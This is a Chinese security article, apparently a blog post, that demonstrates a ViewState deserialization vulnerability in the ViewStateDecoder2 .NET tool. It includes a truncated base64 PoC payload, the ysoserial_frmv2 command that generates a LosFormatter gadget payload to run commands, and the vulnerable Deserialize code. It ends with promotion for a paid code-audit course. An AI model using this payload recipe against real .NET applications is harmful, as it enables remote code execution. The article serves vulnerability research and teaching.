.NET v2.0 框架不用愁,通过 ysoserial_frmv2 触发 ViewState 反序列化漏洞

.NET v2.0 框架不用愁,通过 ysoserial_frmv2 触发 ViewState 反序列化漏洞

原创 专攻.NET安全的 dotNet安全矩阵 2025-03-14 08:23

图片

ViewStateDecoder2
 是一个专门用于解析和分析 .NET ViewState 数据的工具,安全研究人员可以利用来查看其中存储的数据结构,检查是否存在用户数据泄露等,本篇文章将深入剖析 
ViewStateDecoder2 出现反序列化漏洞的原理。

01. 反序列化漏洞复现

攻击者利用 ViewStateDecoder2.exe
 构造特定的 ViewState 代码,并尝试触发代码执行。使用 yso 生成的 Poc 部分如下所示。

POC:/wEy65EEAAEAAAD/////AQAAAAAAAAAMAgAAAE5TeXN0ZW0uRGF0YSwgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABNTeXN0ZW0uRGF0YS5EYXRhU2V0CgAAABZEYXRhU2V0LlJlbW90aW5nRm9ybWF0E0RhdGFTZXQuRGF0YVNldE5hbWURRGF0YVNldC5OYW1lc3BhY2UORGF0YVNldC5QcmVmaXgVRGF0YVNldC5DYXNlU2Vuc2l0aXZlEkRhdGFTZXQuTG9jYWxlTENJRBpEYXRhU2V0LkVuZm9yY2VDb25zdHJhaW50cxpEYXRhU2V0LkV4dGVuZGVkUHJvcGVydGllcxREYXRhU2V0LlRhYmxlcy5Db3VudBBEYXRhU2V0LlRhYmxlc18wBAEBAQAAAAIABx9TeXN0ZW0uRGF0YS5TZXJpYWxpemF0aW9uRm9ybWF0AgAAAAEIAQgCAgAAAAX9////H1N5c3RlbS5EYXRhLlNlcmlhbGl6YXRpb25Gb3JtYXQBAAAAB3ZhbHVlX18ACAIAAAABAAAABgQAAAAACQQAAAAJBAAAAAAJBAAAAAoBAAAACQUAAAAPBQAAAPsGAQACAAEAAAD/////AQAAAAAAAAAEAQAAAH9TeXN0ZW0uQ29sbGVjdGlvbn

如果解析恶意 ViewState 后,触发命令执行漏洞,启动本地计算器程序,如下图所示。

图片

02. 工具实战用法

触发 ViewStateDecoder2 的反序列化漏洞,需要 ysoserial_frmv2 这款工具,该工具是著名的 ysoserial.net 的一个修改版本,原始的 ysoserial是一款用于生成.NET反序列化利用链的工具,主要针对 .NET Framework 4.x 及以上版本,而 ysoserial_frmv2 则被修改为与更早期的 .NET v2.0 兼容。

2.1 使用方法

使用 LosFormatter gadget 生成 base64 格式的 payload,并执行 calc.exe 命令,如下所示。

ysoserial_frmv2.exe -f LosFormatter -g ActivitySurrogateSelector -o base64 -c "calc"

执行命令后生成的 base64 格式 payload,此 payload 可被插入到目标 .NET 应用程序的 ViewState 中,进而触发漏洞。

03. 反序列化漏洞分析

在 .NET 中,ViewState 是用来在 HTTP 请求之间存储页面状态数据的机制。LosFormatter 是 .NET 中用于序列化和反序列化 ViewState 数据的格式化器。以下是  ViewStateDecoder2 解析 ViewState 的核心代码。

LosFormatter losFormatter = new LosFormatter();object tree = losFormatter.Deserialize(this._vsString.Text);XmlDocument xmlDocument2;XmlDocument xmlDocument = ViewStateXmlBuilder.BuildXml(tree, out xmlDocument2);this.PopulateTree(this._decodeTree, xmlDocument);this.PopulateTree(this._decodeControlStateTree, xmlDocument2);

如果 ViewState 被攻击者篡改成恶意序列化数据,Deserialize 方法会在没有校验的情况下直接加载和执行对象。

如果对象中存在可控的 gadget
(例如 ActivitySurrogateSelector
),就可能触发任意命令执行。

04. NET代码审计学习

微软的.NET技术广泛应用于全球企业级产品,包括其知名的
Exchange

SharePoint
等,国内如 
某友的Cloud

某通的T系列

某蝶的云产品
等也广泛采用。各行业核心业务均依赖于此技术。这些基于.NET的系统频繁遭攻击,问题涵盖任意文件上传、反序列化漏洞、SQL注入、文件下载漏洞、命令执行漏洞等。

截至目前,星球已推出近
100节内容
 (还在持续增加),包括
70个视频+30份PDF文档
。我们已将内容细致划分为15个分类,并随新漏洞类型的出现持续扩展。在这里您将学到包括但不限于以下漏洞类型。

图片

详细的内容与结构,请参考下方的星球大纲版块,
包括但不限于OWASP十大漏洞类型,涉及SQL注入漏洞、文件上传下载漏洞、任意文件操作漏洞、XML外部实体注入漏洞、跨站脚本攻击漏洞、反序列化漏洞、命令执行漏洞、未授权和越权漏洞、第三方组件漏洞等等。

图片

专属福利

  1. 学习模式: 代码审计知识星球
    在线录播视频
     +后续漏洞挖掘直播、内部专属交流社区答疑解惑;

  2. 优享福利:加入.NET代码审计星球后
    赠送永久
    dot.Net安全基础入门星球。

图片

课程评价

欢迎对.NET代码审计关注和关心的同学加入我们 [dot.Net安全代码审计] ,目前已有近 100+ 位朋友抢先预定。

图片

图片

图片

星球门票后期价格随着内容和质量的不断沉淀会适当提高,
越早加入越划算!
 现在加入星球可享受星球早鸟价,并可
领取100元优惠券
,期待在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事,
可扫描下方老师二维码了解更多详情。

图片